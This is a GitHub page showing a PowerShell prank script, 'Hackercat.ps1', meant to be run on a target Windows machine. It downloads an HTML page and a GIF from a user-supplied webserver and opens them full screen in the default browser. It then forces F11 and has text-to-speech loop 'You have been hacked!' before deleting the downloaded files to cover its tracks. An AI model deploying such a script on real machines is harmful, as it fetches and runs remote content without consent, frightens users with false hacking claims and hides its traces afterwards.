-
Notifications
You must be signed in to change notification settings - Fork 1
/
Hackercat.ps1
67 lines (54 loc) · 3.26 KB
/
Hackercat.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Hacker Cat full screen
# Just a dumb script to bring Hacker Cat full screen with whichever Internet Browser is set as the Default.
# ******************************************************************
# ******************************************************************
# ** **
# ** Hacker Cat **
# ** Written by: Z3R0th **
# ** **
# ** **
# ******************************************************************
# ******************************************************************
# Credit to Beefycode for the code for text to speech!
# Will Create a full screen of "Hackercat"
$IP = Read-Host -Prompt "What's the IP of your webserver? "
$Port = Read-Host -Prompt "What port is that on? "
$RealIP = $IP + ":" #Needed to join the : into the IP and Port.
#Default location things will get saved to if using choice 2
$Destination = "~/documents"
#Default array of GIFs to choose from for choice 2
$Cats = 'meow.gif', 'mrow.gif', 'rage.gif', 'cat.gif'
#Will randomly select a GIF for choice 2
$Selection = $Cats[ (Get-Random -Maximum ([array]$Cats).count)]
#Choice 2. Will run hackercat over your webserver.
Function Invoke-Hackercat
{
Add-type -AssemblyName System.Windows.Forms
Start-BitsTransfer -Source "http://$RealIP$Port/hax.html" -Destination "$Destination/hax.html" #This will download hax.html to the target to be ran locally.
Start-BitsTransfer -Source "http://$RealIP$Port/$Selection" -Destination "$Destination/meow.gif" #This will download meow.gif to the target to be ran locally.
start-process "$Destination/hax.html" -WindowStyle Maximized #This will start the process for hax.html to induce hackercat in whichever the default internet browser is.
Start-sleep 1
[System.Windows.Forms.SendKeys]::SendWait("{F11}") #After waiting, will hit F11 which will fullscreen the browser.
$voice = New-Object -ComObject SAPI.SPVoice
$voice.Rate = 0
# Will create a PowerShell function for Text to Speech
function invoke-speech
{
param([Parameter(ValueFromPipeline=$true)][string] $say )
process
{
$voice.Speak($say) | out-null;
}
}
# Make Windows Text to Speech say whatever you want for a loop of whatever you want to change the value to.
new-alias -name out-voice -value invoke-speech;
start-sleep 2
for ($i=1; $i -le 10; $i++ ) {
"You have been hacked! Please call your I A M!" | out-voice #Change this to whatever you want
"Hacker Cat Strikes Again!!!!!" | out-voice #Change this to whatever you want
}
if (Test-Path "$Destination/hax.html") { rm $Destination/hax.html; Write-Host "Deleted hax.html" } else { Write-Host "Unable to delete file :c" } #Will look for files to cleanup
if (Test-Path "$Destination/meow.gif") { rm $Destination/meow.gif; Write-Host "Deleted $Selection" } else { Write-Host "Unable to delete file :c" } #Will look for files to cleanup
}
Write-Host "Deploying Hackercat with your webserver!"; Invoke-Hackercat
Write-Host "Hackercat has finished!"